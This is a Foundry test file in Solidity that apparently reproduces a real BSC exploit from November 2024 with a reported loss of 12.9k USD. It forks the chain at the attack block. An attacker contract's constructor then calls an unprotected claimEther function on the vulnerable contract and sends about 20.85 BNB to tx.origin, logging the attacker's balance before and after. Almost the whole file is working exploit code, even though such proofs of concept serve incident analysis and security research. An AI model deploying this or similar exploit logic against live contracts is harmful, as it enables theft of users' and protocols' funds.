src/test/2024-11/X319_exp.sol

1pragma solidity ^0.8.10;
2 
3import "forge-std/Test.sol";
4import "../interface.sol";
5 
6// @KeyInfo - Total Lost : 12.9k USD
7// Attacker : https://bscscan.com/address/0xe60329a82c5add1898ba273fc53835ac7e6fd5ca
8// Attack Contract : https://bscscan.com/address/0x54588267066ddbc6f8dcd724d88c25e2838b6374
9// Vulnerable Contract : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0
10// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x679028cb0a5af35f57cbea120ec668a5caf72d74fcc6972adc7c75ef6c9a9092
11 
12// @Info
13// Vulnerable Contract Code : https://bscscan.com/address/0xedd632eaf3b57e100ae9142e8ed1641e5fd6b2c0
14 
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1855263208124416377
17// Twitter Guy : https://x.com/TenArmorAlert/status/1855263208124416377
18// Hacking God : N/A
19 
20address constant addr1 = 0xedD632eAf3b57e100aE9142e8eD1641e5Fd6b2c0;
21address constant addr2 = 0x54588267066dDBC6f8Dcd724D88C25e2838B6374;
22address constant attacker = 0xE60329A82C5aDD1898bA273FC53835Ac7e6fD5cA;
23 
24interface IAddr1 {
25    function claimEther(address receiver, uint256 amount) external;
26}
27 
28contract ContractTest is Test {
29    function setUp() public {
30        vm.createSelectFork("bsc", 43860720-1);
31    }
32    
33    function testPoC() public {
34        emit log_named_decimal_uint("before attack: balance of attacker", address(attacker).balance, 18);
35        vm.startPrank(attacker, attacker);
36        AttackerC attC = new AttackerC();
37        vm.stopPrank();
38        emit log_named_decimal_uint("after attack: balance of attacker", address(attacker).balance, 18);
39    }
40}
41 
42// 0x54588267066dDBC6f8Dcd724D88C25e2838B6374
43contract AttackerC {
44    constructor() { IAddr1(addr1).claimEther(tx.origin, 2085 * 10**16); } 
45}